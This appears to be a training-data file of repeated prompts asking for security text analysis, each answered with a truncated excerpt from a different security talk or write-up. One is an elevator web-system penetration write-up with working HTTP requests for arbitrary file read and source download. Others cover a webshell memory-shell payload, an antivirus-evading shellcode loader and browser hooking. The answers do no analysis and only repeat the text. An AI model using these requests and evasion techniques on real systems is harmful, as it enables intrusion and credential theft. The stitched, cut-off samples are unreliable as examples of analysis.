Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

记⼀次某电梯Web系统⿊盒到PHP⽩盒挖掘RCE的过程
概述：
闲来⽆事，感觉IOT的洞挺好挖，记⼀次针对某电梯的Web系统挖掘到的⼏个任意
⽂件上传跟命令注⼊的过程，算是对PHP代码审计学习的⼀个记录。)
前置知识：
PHP执⾏命令函数：)
1、shell_exec())
string)shell_exec)()string)$cmd)))执⾏命令，并将结果作为字符串返回。)
返回值：如果执⾏失败，则返回NULL。执⾏成功则返回执⾏结果字符串。)
注意：This)function)is)disabled)when)PHP)is)running)in)safe)mode)
2、passthru())
void)passthru)()string)$command)[,)int)&$return_var)])))
没有返回值，函数直接将执⾏结果返回给浏览器。函数第⼆个参数就是执⾏状态
码：返回0表⽰成功，返回1表⽰失败。)
3、exec())
string)exec(string)command,)string)[array],)int)[return_var]);)
command)–)需要执⾏的命令)
array)–)是输出值填充的数组(每⼀⾏作为数组的⼀项))
return_var–是返回值0或1，如果返回0则执⾏成功，返回1则执⾏失败。)
执⾏不成功时的⽅案：⼀个技巧就是使⽤管道命令,)使⽤)2>&1,)命令就会输出shell
执⾏时的错误到$output变量,)输出该变量即可分析。)
如：exec(‘convert)a.jpg)b.jpg’,)$output,)$return_val);改为：exec(‘convert)a.jpg)b.jpg)
2>&1’,)$output,)$return_val);)print_r($output);)
4、system())
string)system)()string)$command)[,)int)&$return_var)])))
return_var):命令执⾏状态码。返回0表⽰成功，返回1表⽰失败。)
返回值：返回执⾏结果的最后⼀⾏，如果失败返回FALSE.)
⼆、区别)
1、shell_exec())只返回，不输出。)
2、passthru())只输出，不返回，有状态码。)
3、exec())返回最后⼀⾏结果，所有结果可以保存到⼀个返回的数组⾥⾯，有状态
码。)
4、system())输出返回最后⼀⾏结果。)有状态码。)
漏洞分析：
最早⿊盒发现，存在任意⽂件读取
)
进⾏抓包)
)
篡改成系统其他路径，成功读取系统⽤户。)
POST /app_show_log_lines.php HTTP/1.1)
Host: xxx.xxx.xxx.xxx)
Content-Type: application/x-www-form-urlencoded)
Connection: close)
Content-Length: 25)
)
fileselection=/etc/passwd)
说明存在任意⽂件读取漏洞，这个先暂时记录下来，如果没有其他⿊盒能找到的洞
的话，就直接利⽤这个对页⾯的URI路径全部爬取，进⾏源码读取再审计。)
)
接着发现另外⼀个功能可以任意⽂件全部打包成⼀个zip⽂件提供下载，)
)
以及在页⾯监控中看进程看到了服务器上正在运⾏apache服务，)
)
渗透熟练的⼩伙伴应该知道apache默认⽹站路径是/var/www/html，我们直接尝
试打包这个⽂件夹下来看看源码在不在⾥⾯（如果不在的话，再利⽤上⾯的任意⽂
件读取，fuzz跑⼀下apache的配置⽂件，再通过从配置⽂件中去寻找对应的web路
径。）)
POC：)
POST /app_download_zipped_logs.php HTTP/1.1)
Host: X.X.X.X)
Content-Type: application/x-www-form-urlencoded)
Connection: close)
Content-Length: 34)
)
fileselection[]=/var/www/html/*)
)
成功下载该源码，可以开始⽩盒审计。)
如果代码量⼤的⾮MVC结构的，还是建议扫描器扫⼀遍，个⼈习惯喜欢先看看现有
的功能点全部过⼀遍⼤概⼼⾥有个底，然后每个代码快速阅读，再根据个⼈经验针
对⼤概率出现问题的⼀些功能针对性查看。)
)
访问Con`iguration发现访问了authorization.php那我们本地先从这个⽂件开始看，)
)
从第32⾏看到最后调⽤校验账号密码是/etc/apache2/.htpasswd⽂件，我们利⽤前
⾯的任意⽂件读取即可获得密码。...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

“WMAP: Metasploit goes Web”
ET
Introduction
• No agenda in this presentation
• No Sun Wu Tzu “The Art of War” Stuff In
this presentation either.
– #nomorefree-art-of-war-stuff-in-security-
presentations.
• No history of web scanners
Introduction
• Efrain Torres
– 2*5+ years enjoying IT
security
– Metasploit team
– et [at] metasploit.com
WMAP
• Web assessment as Metasploit auxiliary
modules
– Run modules by hand or automated
• Still early stages
– blame it to the crisis
• Metasploit Prime (SecTor 08)
– “Expect a big announcement soon!”, HD
• This is it.
WMAP
• Why?
– Struggle with tools that find vulnerabilities
while browsing an application.
• Easy way to get detected by IDS/IPS
– Crawl as a user.
– Attack like a ninja later.
– Suffering by tools that can only be run on
windows environments.
• Tied to a specific browser
• IE Control. (You are assuming the target is good
and no evil)
WMAP
• Why?
– Too much focus on whistles and bells.
• When was the last time a pie chart was useful for
you.
– No more crap regarding vulnerabilities
classification and risks.
• Sometimes a High is just a Low
– (I'm not talking about FP’s)
• And a couple of Lows can get you High
• What the hell is a High, Medium, Low?
– Real Impact?
WMAP
NO
YES
WMAP
• Objectives
– A way to tie testing methods with exploitation
methods
– Make something useful to help in the
assessment of anything related to HTTP/S
– WMAP may be used as a scanner but it
should be treated as an extension of the
Metasploit framework.
WMAP
• The more web assessment/scanners/etc
tools the better.
– Each tool has its own limitations, pros and
cons.
– Choose the damn tool you like (it’s just a tool)
– “A Poor Workman Blames His Tools”
• W3AF is awesome.
• SQLmap is awesome.
• _________
WMAP
•Multiple Clients
•Any Proxy
•Metasploit DB
•Simple modules
•Ruby
WMAP
• db_wmap
– Identify possible targets
– Build target website structure
– Run the modules in a specific order
– Reporting
msf > load db_wmap
[*] =[ ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

FORENSICS IS ONLY FOR
PRIVATE INVESTIGATORS NOW!
OR
WHO NEEDS CERTIFICATIONS?
Scott A. Moulton
Forensic Strategy Services, LLC.
www.ForensicStrategy.com
DISCLAIMER
  This is NOT Animated!
  Everything I state is my opinion and is
based on my research and experiences.
  I am not A lawyer!
  I am not YOUR lawyer!
  Talk to your own lawyer and do your own
research.
  I am sure that some of you will get angry
about this speech and the new laws, but I
am not the bad guy.
  This is for your Entertainment!
  States are passing new laws and implementing
them very quickly. These laws can go into effect
immediately with no grandfathering of current
non-licensed people nor giving them a path to get
licensed by the deadlines.
  The PI Board in many states is lobbying similar
wording and trying to get similar laws passed
and shooting for a felony.
  Most computer forensic or computer security
professional have no idea this is happening at all
or believe that it applies to them.
WHY IS THIS SPEECH IMPORTANT TO YOU?
FOR EXAMPLE:
RECENT EVENTS IN MICHIGAN
  Michigan passed the “Professional Investigator
Licensure Act” on May 28th 2008.
  I makes it a felony to practice computer forensics
without a license going into effect:
“This act is ordered to take immediate effect.”
  Penalty:
 (3) A person violating this section is guilty of a felony
punishable by imprisonment for not more than 4 years or
by a penal fine of not more than $5,000.00, or both.
OPINIONS ABOUT THESE LAWS
  Some people think regulation is needed.. It gets
rid of the rift raft that hangs out a sign
  Some think that they would rather have the
worst computer guy working on their case more
than a current PI and generally believe the PI is
not qualified.
  And others state that this is a field of science and
not surveillance and computer science does not
belong under the PI wing.
  But a lot more people just think it does not apply
to them, such...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

An Insider’s Options
Michael Rich
mike@tofet.net
 The Challenge
 The Tools Available
 Phase 0 – Set up
 Phase 1 – Hex Attack
 Phase 2 – Attack of the Big Barcode
 Bringing it all Together
 Future/Branch Research Paths
 Conclusion
 There I was, hacking the collaboration portal..
 How could I intercept the POST call to modify
the inputs?
 Tamper Data, Burp Suite, etc..
How could  I forge the POST call?
 Curl, wget, etc..
 Eventually:  “How could I load one of these
tools on to my closed, secure network without
getting caught?”
 Closed, secured network (sort of)
 USB ports secured & monitored
 CD use secured & monitored
 Host-based security system
 Data transfer entry points do exist (DOTS)
 Not in control of attacker
 Unknown scanning rules
 Leaves logs
 Windows / MS-Office environment
 MS Office = Visual Basic for Applications
 Professional level printers & scanners
 Adobe Acrobat OCR
 Put Excel into attack mode
 Consolas Font – Down to 8 pt font
 Use Phase 0 methods to make Excel a binary
file hex encoder/decoder
 Why hex?
 Printable text
 Tests showed excellent OCR results
Hex Encoding
Base64 Encoding
Encoding
Consolas, 8 pt font
Consolas, 12 pt font
Word Length Errors
(80 char words)
0 in 73 words
9 in 73 words
Transcription Errors
0 in 5840 symbols
216 in 5840 symbols
Error Types
1 to 1
Many to Many
 Hex Encoding is good, but probably not perfect
 Need compact error detection
 2-byte XOR checksum
 Assumptions, assumptions, assumptions
1551 errors in 135,420 symbols (1.1 % error)
 B to 8: 261; 1 to l: 359; 5 to S: 864
 D to 0, O: 57;  6 to G,q,b: 3
 Alternative characters:
 # for B
 ? for D
 Auto-replace other major errors
 “l”, “S”, “.”, “ “
 Add strong visual indicators
 1 manual correction in 1210 lines of text
Demo Time!
 Pros:
 Extremely reliable
 Can be entered by hand if no scanner
 Cons:
 Low data density: ~3.6K per page best case
 Common Tools:
 PowerSploit: 835 kB = 232 pages
 Mimikatz: 538 kB = 150 pages
 No exfiltration “compression” advantage
 ~...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

title: 蚁剑改造计划之支持内存马
author: yzddmr6
blog: yzddmr6.tk
前言
最近因为各种事情太忙了，博客也很久没有更新了。今天暂且先水一篇。
前几天发了一版新的蚁剑JSP一句话的payload，这篇文章记录一下更新的细节。
1. 兼容高版本JDK
这个没啥好说的，就是base64解码的问题。在jdk9开始移除了sun.misc这个包，导致原有的
sun.misc.BASE64Decoder 没法继续使用，取而代之的是 java.util.Base64 这个类。
解决办法就是两个都试一下，看哪个能解码成功，核心代码如下
2. 兼容Tomcat内存马
这个问题可以掰扯一下。很多文章都提到了冰蝎或者蚁剑连接内存马的问题。
除了由于写法问题而导致的各种乱七八糟的问题以外，其中主要的一个问题是冰蝎在入口处采用了
pageContext这个类来获取request response session对象，本人以冰蝎为原型实现的蚁剑JSP一句话同
样采用了pageContext作为入口。但是以ﬁlter型内存马为例，doFilter中三个参数分别是
ServletRequest，ServletResponse，FilterChain，并不存在pageContext这个东西。
那么大体上有三种解决办法：
1. 自己声明一个pageContext类，在里面实现对应的request跟response的getter setter。冰蝎改造
之不改动客户端=>内存马。
2. 改写冰蝎的入口为request+response，不再采用pageContext作为入口。但是弊端就是不能再用
equals了，要重新写一个方法用反射调用。冰蝎改造之适配基于tomcat Filter的无文件webshell
3. 采用蚁剑原来的Custom模式，把恶意函数直接通过字节码打进去，然后通过方法名调用。不过由
于直接编译恶意函数的字节码较大会超过最大长度限制，一般要先写入目标然后配合
URLClassLoader才能使用。使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一
键注入蚁剑shell
以上的这些方法可以是可以，但是不够优雅。
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer",
String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode",
String.class).invoke(decoder, str);
        }
    }
回想我们最开始的问题，为什么要用pageContext，是为了拿到当前请求的上下文，更精确一点就是输
入输出：request,response。经过实际调试可以发现：
在request中本身就包含了当前的response，同样response中也包含了当前的request。
虽然蚁剑没有用到session对象，但是需要的时候也可以通过request来获取。
也就是通过request或者response任意一个就能完全代替pageContext，这也是在新版payload中采取
的方案。
核心代码如下
   if (obj instanceof PageContext) {
            PageContext page = (PageContext) obj;
            request = (HttpServletRequest) page.getRequest();
            response = (HttpServletResponse) page.getResponse();
在equals中收到一个对象后，会依次判断是否是
PageContext/HttpSer...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Aylin Caliskan
      @aylin_cim
Assistant Professor
George Washington University
Rachel Greenstadt
      @ragreens
Associate Professor
Drexel University
De-anonymizing Programmers from Source Code and Binaries
August 10, 2018
1
Stylometry
Natural language
English
English as a second language
Translated text
Underground forum text
Artificial language
Programming languages
Python
C/C++
Source code
Binary executables
August 10, 2018
2
Stylometry
Natural language
FBI
Expert witnesses
European high-tech crime units
Artificial language
Expert witnesses
DARPA
US Army Research Laboratory
August 10, 2018
3
August 10, 2018
Why de-anonymize programmers?
4
Iran confirms death sentence for 'porn site' web programmer.
No technical difference between
security-enhancing and privacy-infringing
Source code stylometry
August 10, 2018
5
Source code stylometry
 Application
Learner
Setting
Software forensics
Multiclass
Open world
Stylometric plagiarism detection
Multiclass
Closed world
Copyright investigation
Two-class
Closed world
Authorship verification
Two-class/One-class
One-class open world
A machine learning classification task
August 10, 2018
6
Random Forest Classifier
 A           B            C           D
De-anonymizing Programmers
Fuzzy Parsing
Identifying
Programmer Fingerprints
Language
Processing
Supervised
Machine Learning
Privacy and Security
Implications
Source Code
August 10, 2018
7
De-anonymizing programmers
 Application
Classes
Instances
Accuracy
Stylometric plagiarism detection
250 class
  2,250
  98%
Large scale de-anonymization
1,600 class
14,400
  94%
Copyright investigation
Two-class
     540
100%
Authorship verification
Two-class/One-class
  2,240
  91%
Open world problem
Multi-class
     420
  96%
Principled method & robust syntactic feature set
August 10, 2018
8
Source code stylometry
preprocessing
extract features
majority vote
 A            B             C             D
random forest
fuzzy AST parser
1,600 contestants – C++
De-anonymized Programmers
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hooked Browser
Meshed-Networks with
WebRTC and BeEF
The sad tale of vegetarian browsers
Trigger warning: presentation includes JavaScript
$ whoami
• Christian Frichot
• @xntrik
• Co-Author of The Browser Hacker’s Handbook
• @beefproject developer
DEFCON 23 @xntrik Vegie Browsers
DEFCON 23 @xntrik Vegie Browsers
$ ./display_overview.sh
DEFCON 23 @xntrik Vegie Browsers
JS, client-side testing
& BeEF
Mooo
DEFCON 23 @xntrik Vegie Browsers
Problems with browser
communication channels
DEFCON 23 @xntrik Vegie Browsers
How WebRTC can
help
Plus: wth is WebRTC?
DEFCON 23 @xntrik Vegie Browsers
Integration WebRTC
into BeEF
Plus Demo!
DEFCON 23 @xntrik Vegie Browsers
$ ./lets_go
Unfortunately BeEF is written in Ruby and not #golang
DEFCON 23 @xntrik Vegie Browsers
Client-side security
testing
DEFCON 23 @xntrik Vegie Browsers
Browser’s explosive
growth
DEFCON 23 @xntrik Vegie Browsers
Attack surface growth
DEFCON 23 @xntrik Vegie Browsers
Demise of thick-ish
based browser tech
DEFCON 23 @xntrik Vegie Browsers
$ killall ﬂash
Who hasn’t done this yet??
DEFCON 23 @xntrik Vegie Browsers
$ brew install web2.0
DEFCON 23 @xntrik Vegie Browsers
DEFCON 23 @xntrik Vegie Browsers
WTF is browser
hacking?
$ ./initiate_pimp_mode.sh
DEFCON 23 @xntrik Vegie Browsers
@antisnatchor
(hates pants)
@wadealcorn
(likes pants)
DEFCON 23 @xntrik Vegie Browsers
Initiating
Control
Retaining
Control
Bypassing
SOP
Attacking
Users
Attacking
Extensions
Attacking
Users
Attacking
Browsers
Attacking
Plugins
Attacking
Networks
Attacks
DEFCON 23 @xntrik Vegie Browsers
Initiating
Control
Bypassing
SOP
Attacking
Users
Attacking
Extensions
Attacking
Users
Attacking
Browsers
Attacking
Plugins
Attacking
Networks
Attacks
Retaining
Control
DEFCON 23 @xntrik Vegie Browsers
$ ./beef
DEFCON 23 @xntrik Vegie Browsers
$ cat beef | grep ‘comm’
• XMLHttpRequest
• WebSockets
• DNS
DEFCON 23 @xntrik Vegie Browsers
$ vim core/main/client/net.js
$ vim core/main/client/websocket.js
$ vim core/main/cl...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking electric skateboards:
vehicle research for mortals
Richo Healey & Mike Ryan
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Who are these jerks anyway
‣ richo
‣ Computer Jerk
‣ @rich0H
‣ Duck Enthusiast
‣ Ran WrongIslandCon
‣ mike
‣ Bluetooth Guy
‣ @mpeg4codec
‣ Owner/Operator of
conscience (sometimes)
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Why buy an $nK skateboard?
‣ Lightweight
‣ (relatively) inexpensive
‣ .. maybe wanted on the hype train early
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Why buy an $nK skateboard?
‣ Lightweight
‣ (relatively) inexpensive
‣ .. maybe wanted on the hype train early
‣ Maybe to hax it
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Why hax a $1k skateboard?
‣ Because it’s there
‣ Vehicle research is cool
‣ But not all of us can afford to brick a car
‣ Figured we might be able to illustrate a point about
the state of security research
@mpeg4codec / Hacking Electric Skateboards / @rich0H
The boards
‣ Boosted
@mpeg4codec / Hacking Electric Skateboards / @rich0H
The boards
‣ Evolve
@mpeg4codec / Hacking Electric Skateboards / @rich0H
The boards
‣ Yuneec E-go
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Maybe you’ve spotted the design trend here
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Hope yer wearin’ yer lernin’ b00tz
Agenda
‣ Boosted
‣ Bluetooth GATT
‣ Jammers
‣
PyBT
‣ Evolve
‣ … bluetooth?
‣ Weird RF protocols
‣ E-go
‣ … wiﬁ?!
‣ Boosted (Redux)
‣ Fiiiiiirmware!
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Or whatever
Right so like hacking
‣ Most of these boards use bluetooth
‣ I know nothing about bluetooth
‣ I know mike though
‣ mike knows bluetooth
‣ How hard can this possibly be?
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Boosted
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Boosted
‣ Bluetooth Remote
‣ Regenerative Braking
‣ Firmware Upgradable
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Storytime
Co-opting a GATTling gun
Bluetooth a...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

TenProtect  Conficential, Copyright @Tencent, 2019
游戏安全的攻防艺术
joeywzhu@tencent.com
2019.02
TenProtect  Conficential, Copyright @Tencent, 2019
个人简介
• 2013 至今，腾讯游戏业务安全部技术专家
• 2005-2012 ，趋势科技架构师
• 2005-2008,  开发和设计 PE 病毒沙箱
• 2008-2012, 开发和设计脚本漏洞分析引擎
• 2013 to now, 开发和设计游戏安全通用方案
• 2011.8 Defcon 讲演 “ Chinese phishing at Defcon19”, Las Vegas
TenProtect  Conficential, Copyright @Tencent, 2019
1. 外挂是什么
TenProtect  Conficential, Copyright @Tencent, 2019
多少秒扫雷能够完成
1s
1s
TenProtect  Conficential, Copyright @Tencent, 2019
CrossFire 透视外挂
TenProtect  Conficential, Copyright @Tencent, 2019
注 : 为了适应手游屏幕特点，手游上的外挂增加了射线
CrossFire 手游透视外挂
TenProtect  Conficential, Copyright @Tencent, 2019
外挂的发展史
• 单机游戏， CheatEngine/FPE
• 网络游戏
– 脱机挂 (WPE/WireShark)
– 加速 / 倍攻 ( 数值异常 )
– 透视 / 自瞄  (Hook, 驱动 )
– 炸房 / 强登
• 打金工作室 / 代充 / 代练
• 手游模拟器
TenProtect  Conficential, Copyright @Tencent, 2019
目前中国的外挂行业运作模式
TenProtect  Conficential, Copyright @Tencent, 2019
中国网游作弊用户分布
• 越热门的游戏作弊越多
• 一些作弊软件卖的很贵
• 绝大作弊者都是新进玩家
• 60% 作弊发生在网吧
• 由于 PUBG 的影响， fps 作弊
现在非常流行
TenProtect  Conficential, Copyright @Tencent, 2019
FPS 游戏作弊的爆发
• PUBG
• 在 2108 年，超过 2700 款外挂被监控到
• 高峰期每天超过 100 款外挂进行更新
• FPS
• 2018 年大约有 60 款以上的 FPS 生存游戏
• 所有的游戏都发现有外挂的存在
• APEX
• 自 02-05 发布以来， 72 小时超过 1000 万玩家
• 已经发现超过 60 外挂在售卖
TenProtect  Conficential, Copyright @Tencent, 2019
月入宝马不是梦
TenProtect  Conficential, Copyright @Tencent, 2019
2. 外挂技术原理的讨论
TenProtect  Conficential, Copyright @Tencent, 2019
安全领域的大讨论
• 软件漏洞
– 游戏 bug ，复制金币
– 客户端逻辑没有服务器验证
– 盗版问题
• 网络安全
– 报文篡改
– DDOS 攻击
• 服务器、数据安全
– 服务器入侵
– SQL 注入 / 回档
TenProtect  Conficential, Copyright @Tencent, 2019
暗黑 3 漏洞 - 金币复制
TenProtect  Conficential, Copyright @Tencent, 2019
内存修改型
• 游戏对象属性
– 血量，攻击力，怪物等等
• 修改或调用游戏逻辑
– 碰撞检测，自动瞄准
• 游戏资源文件
– 手游 / 弱联网
– 本地效果
TenProtect  Conficential, Copyright @Tencent, 2019
LOL 改模型
TenProtect  Conficential, Copyright @Tencent, 2019
堡垒之夜 / 人物透视
TenProtect  Conficential, Copyright @Tencent, 2019
脱机挂 / 协议模拟
• 端游
– UnReal Engine( 开源 )
– 外挂工作室
• 页游
– Fiddle
• 手游
– 离线
PUBG Radar show playe...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Pillaging DVCS Repos
Adam Baldwin
INTRODUCTION
Distributed Version Control Systems (DVCS) including Git, Mercurial (HG), and Bazaar
(BZR) are becoming increasingly popular and also a convenient method of deploying
updates to web applications. DVCS track revision history and other information about
the repository inside a meta directory. In some cases the meta directory is left inside the
web root of the website unprotected. This information could be very valuable to an
attacker or as part of a penetration test.
OBJECTIVE
The goal of this research was to identify methods in which information could be
remotely extracted from the exposed meta directory and recreate as much of the
repository state as possible.
REPOSITORY IDENTIFICATION
The ﬁrst step in our process was to remotely and reliably identify the presence of an
exposed DVCS meta directory. It was found that each DVCS we tried had a predictable
set of ﬁle names, paths and contents. Using this information we created a set of regular
expressions to identify a positive match.
DVCS
File
Regular Expression
GIT
.git/HEAD
^ref: refs/'
HG
.hg/requires
^revlogv1'
BZR
.bzr/README
^This\sis\sa\sBazaar'
A discovery plugin called ﬁndDVCS.py was created for the W3AF (Web Application
Attack and Audit Framework) framework. This plugin uses the above regular
expressions for repository identiﬁcation.
PREDICTABLE FILES
The next step in extracting repository data is to download ﬁles with predictable ﬁle
locations. Some of these are critical in extracting useful information from the repository.
Below is a list of some of the predictable ﬁles. Some are left out just because we donʼt
care about them.
GIT
File
Notes
.git/HEAD
Used to identify the repository and repository refʼs
.git/conﬁg
Lists branches and remotes that may provide other targets to
attack.
.git/index
“sorted list of path names, each with permissions and the SHA-1 of
a blob object” [0]
.git/logs/HEAD
Current HEAD reference
.git/hooks/*
applypatch-msg.s...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

剑走偏锋
—蓝军实战缓解措施滥用
# Whoami
• @askme765cs
• 安全研究员@绿盟科技
• M01N战队核心成员
• 专注系统安全与终端对抗
目录
CONTENTS
01
02
03
Mitigations 101
Red Team Operation
"Mitigation Hell"
Part 01
Mitigations 101
01
Why Mitigations?
漏洞利用两种常见路径
• 数据破坏
• 代码执行
利用过程中的动作与特征
• 修改代码段
• 加载DLL
• 创建新进程
• …
Mitigations的效用
• 截断利用链，削减机会窗口
• 对抗未知威胁与潜在攻击
02
Mitigations Timeline
• ASLR
• DEP
• SafeSEH
• SEHOP
• CFG
• CIG
• ACG
• Child Process
Policy
• CFG Strict Mode
• CFG Export Suppression
• NoLowMandatoryLabelImages
• …
Pre-Win10
TH1
RS1
RS2
RS3 +
03
Code intergerity guard-CIG
• Windows 10 TH2 (1511)引入
• 阻止恶意DLL注入受保护应用程序
• 对加载DLL的签名进行验证
• 仅允许可信签名的DLL加载
• MicrosoftSignedOnly
• StoreSignedOnly
• 内核主要检查代码位于
MiValidateSectionSigningPolicy
• 受影响的API
NtCreateSection
04
Arbitrary code guard-ACG
• Windows 10 RS1 (1607)引入
• 贯彻W^X原则
• 禁止修改已有代码(X)修改为可写(W)
• 禁止修改可写数据(W)修改为可执行(X)
• 禁止分配或映射新的可执行内存
• 内核主要检查代码位于
MiAllowProtectionChange
MiMapViewOfSection
• 受影响的API
NtAllocateVirtualMemory
NtProtectVirtualMemory
NtMapViewOfSection(SEC_IMAGE/SEC_FILE)
Arbitrary code guard-ACG
05
• 用户态API
• VirtualAlloc with PAGE_EXECUTE_*
• VirtualProtect with PAGE_EXECUTE_*
• MapViewOfFile with FILE_MAP_EXECUTE | FILE_MAP_WRITE
• SetProcessValidCallTargets for CFG
Boundary of ACG
06
• 只能限制程序本身，不能阻止其他程序对其的修改
• 开启AllowRemoteDowngrade则可通过其他程序关闭ACG
08
Mitigation Flags-EPROCESS
ULONG Flags、Flags2、Flags3、Flags4
ULONG MitigationFlags、MitigationFlags2
09
Mitigation Policy-注册表
设置指定名称\路径程序的Mitigation Policy-IFEO
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
• MitigationOptions:REG_BINARY
系统全局Mitigation Policy
• HKLM\System\CurrentControlSet\Control\Session Manager\kernel\
• MitigationOptions:REG_BINARY
10
Mitigation Policy-注册表
11
Mitigation Policy-Powershell
查看程序Mitigation Policy(从程序读取)
• Get-ProcessMitigation –Running –Name notepad.exe
查看程序Mitigation Policy(从注册表读取)
• Get-ProcessMitigation -Name notepad.exe
设置程序Mitigation Policy(写入注册表)
• Set-ProcessMitigation -Name notepad.exe -Enable MicrosoftSignedOnly
12
13
系统设置
• 设置系统...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
精简JRE打造⽆依赖的Java-ShellCode-Loader
前⾔
jre⽬录结构
lib⽬录
bin⽬录
精简rt.jar
精简dll
⾃解压捆绑执⾏
EnigmaVirtualBox打包全部⽂件
EnigmaVirtualBox打包jre
最后
@yzddMr6
利⽤⼩众语⾔进⾏免杀⼀直是⼀个屡试不爽的⽅法，从python到go再到现在的nim免杀，⽤的⼈越
多杀软的检测也就越来越严格。现在⾃⼰写的go程序基本只要涉及到⽹络通信360就⼲掉了。那么还有没
有什么新的姿势呢？
之前介绍过在As-Exploits中⽤到的基于JNA实现的
ShellCodeLoader(https://t.zsxq.com/022FQrFAu)，这个Loader在精简后不到1m，配合JarLoader模
块在插件⾥⾯可以直接内存加载，⽂件不落地。后来发现落地了问题也不⼤，到现在VT还是0/57。所以
前⾔
2
后来抽出来作为⼀个单独的项⽬：https://github.com/yzddmr6/Java-Shellcode-Loader
实战⾥⾯有Java的WebShell⽤起来⾮常⽅便，⼀键免杀xxx。但是缺点是如果⽤来钓⻥，或者碰上
jdk环境过⾼过低都⽤不了，还是有局限性。所以就研究了⼀下怎么跟jre⼀起打包成⼀个单独的可执⾏⽂
件exe。
⽬前成果如下：⽤⾃解压精简后带jre环境的exe只有6.5m，⽤Enigma Virtual Box压缩模式8.5m，
跟python打包后差不多⼤⼩，VT 6/67，基本可以实现我们的需求。
原版⼀个jre⼤概快200m，在没有安装jre环境的普通⽤户来说，显然带着整个jre和后⻔⼀起打包是
不可能的了，但我们可以从jre中提取加载后⻔时需要⽤到的class⽂件,并集合到⼀起,这样就能⼤⼤压缩
jre的体积。
jre最主要的两个⽬录是bin跟lib，bin下主要是各类dll跟可执⾏⽂件，lib下是java的依赖库。精简jre
就可以从这两⽅⾯⼊⼿。
access-bridge-64.jar
Java Accessibility API是Java Accessibility Utilities的⼀部分，它是⼀组实⽤程序类，可帮助辅助技术提供对实
现Java Accessibility API的GUI⼯具包的访问。
charsets.jar
Java 字符集，包含 Java 所有⽀持字符的字符集
cldrdata.jar
jre⽬录结构
lib⽬录
3
Unicode CLDR为软件提供了⽀持世界语⾔的关键构建块，提供了最⼤和最⼴泛的语⾔环境数据库。 这些数据被
⼴泛的公司⽤于其软件国际化和本地化，使软件适应不同语⾔的惯例以⽤于此类常⻅软件任务.
deploy.jar
Java安装⽬录的常⻅部分 - 该⽂件运⾏某些产品的安装。 正确设置Java路径后，⽤户可以执⾏此⽂件（只需双
击它或按⽂件上的Enter键），要部署的应⽤程序将运⾏其安装程序。 例如。 诺基亚OVI套件通常使⽤这种部署
形式。 作为彼此的JAVA包，如果您将其重命名为ZIP并打开内容，则可以检查包中的类。
dnsns.jar
即DNS naming service ,提供DNS地址服务的包，⾥⾯只有2个⽅法 getHostByAddr和 lookupAllHostAddr
jaccess.jar
定义Assistive Technologies.AWT（Abstract Window Toolkit）使⽤的JDK实⽤程序类
javaws.jar
JNLP（Java Network Launching Protocol ）是java提供的⼀种可以通过浏览器直接执⾏java应⽤程序的途径。
jce.jar
java类库是java发布之初就确定了的基础库， ⽽javax类库则是在上⾯增加的⼀层东⻄，就是为了保持版本兼容
要保存原来的，但有些东⻄有了更好的解决⽅案， 所以，就加上些，典型的就是awt(Abstract Windowing
ToolKit) 和swing。） 这个包都是加密相关的。
jfr.jar
和 jdk\bin\jmc.exe有关系。Java Mission Control 包括 JMX 控制台和 Java ⻜⾏记录器。 Java ⻜⾏记录器
(JFR) 是⼀个⽤于收集有关正在运⾏的 Java 应⽤程序的诊断数据和概要分析数据的⼯具。它集成到 Java 虚拟
机 (JVM) 中， ⼏乎不会带来性能开销，因此甚⾄可以在⾼负载⽣产环境中使⽤。使⽤默认设置时，内部测试和
客户反馈表明性能影响低于 1%。 对于⼀些应⽤程序，这⼀数字会⼤幅降低。但是，对于短时间运⾏的应⽤程
序 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

设备
  皆有
    故障!
全⾯面沦陷:噪声攻击与IOT设备的
10+年年战争
⽬目录
概述
FI 的发展和现状
FI的实际应⽤用
FI的预防
问题在哪?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
    for (int i=0; i<strlen(pin); i++) {
        if (pin[i]!=PIN[i])
            return true;
    }
    return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
    char pin[80];
    char tmp[80];
    bool result=false;
    printf("Please, introduce PIN\r\n");
    gets(pin);
    result = comparePIN(pin);
    if (result == false) {
        sprintf(tmp,"PIN correct\r\n");
    } else {
        sprintf(tmp,"PIN %s is
                     incorrect\r\n",pin);
    }
    printf(tmp);
    return result;
}
问题在哪?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
    for (int i=0; i<strlen(pin); i++) {
        if (pin[i]!=PIN[i])
            return true;
    }
    return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
    char pin[80];
    char tmp[80];
    bool result=false;
